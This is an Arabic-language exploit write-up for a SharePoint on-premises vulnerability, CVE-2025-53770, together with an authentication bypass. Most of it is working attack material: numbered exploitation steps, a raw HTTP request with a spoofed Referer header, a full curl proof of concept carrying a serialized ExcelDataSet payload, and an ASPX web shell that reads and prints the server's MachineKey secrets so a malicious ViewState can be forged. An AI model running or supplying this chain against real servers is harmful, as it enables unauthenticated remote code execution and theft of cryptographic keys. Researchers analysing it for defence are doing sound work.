
CVE-2025-53770 - SharePoint
إلغاء تسلسل البيانات غير الموثوقة في خادم Microsoft SharePoint المحلي يسمح للمهاجم بتنفيذ التعليمات البرمجية عن بعد واختراق النظام. تدرك Microsoft الاستغلال النشط وتقوم بإعداد تحديث شامل. تحقق من تطبيق التخفيفات المذكورة في توثيق CVE.
إنها ثغرة تنفيذ تعليمات برمجية عن بعد (RCE) حرجة. تستغل إلغاء تسلسل غير آمن للبيانات غير الموثوقة، مما يسمح للمهاجم بتنفيذ تعليمات برمجية عشوائية دون الحاجة إلى مصادقة.
إنها ثغرة تجاوز المصادقة (انتحال) عبر التلاعب برأس HTTP (خاصة حقل Referer)، مما يسمح بتجاوز ضوابط الوصول والارتقاء إلى RCE باستخدام CVE-53770.
كلاهما يحل محل التصحيحات السابقة (CVE-2025-49704 و CVE-2025-49706)، التي تم تطبيقها في يوليو، ولكنها أثبتت عدم اكتمالها، مما يتيح ناقلات هجوم جديدة.
1 - (تجاوز المصادقة): /layouts/15/ToolPane.aspx
الخطوة 1 – قم بإجراء طلب POST إلى عنوان URL الضعيف. الخطوة 2 – قم برفع ملف .aspx يحتوي على كود لقراءة MachineKey (مثل الكود المقتطف الخاص بك). الخطوة 3 – قم بتوليد ViewState خبيث باستخدام أدوات مثل ysoserial.net المهيأة بهذه المفاتيح.
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit HTTP/1.1
Host: sharepoint.lab.local
Referer: /_layouts/SignOut.aspx
Content-Length: 0
يُظهر إثبات المفهوم التالي كيف يمكن للمهاجم استغلال الثغرة لاستخراج وفك تشفير الحمولات الخبيثة من خلال نقطة النهاية الضعيفة.
تم استبدال النطاق المستهدف عمدًا بـ target.com.
أمر PoC 1
curl -sk -X POST 'https://target.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' \
-H 'Referer: /_layouts/SignOut.aspx' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'MSOTlPn_Uri=https://target.com' \
--data-urlencode 'MSOTlPn_DWP=
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>' \
| grep -oP 'CompressedDataTable="\K[^&]+(?=")' \
| base64 -d 2>/dev/null \
| gzip -d 2>/dev/null \
| tee /tmp/sharepoint_decoded_payload.txt \
| grep -Ei 'IntruderScannerDetectionPayload|ExcelDataSet|divWaiting|ProgressTemplate|Scorecard'
الأمر الفعلي المستخدم في التحليل
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="C#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" + cg.DecryptionKey + "|" + cg.Decryption + "|" + cg.CompatibilityMode);
}
</script>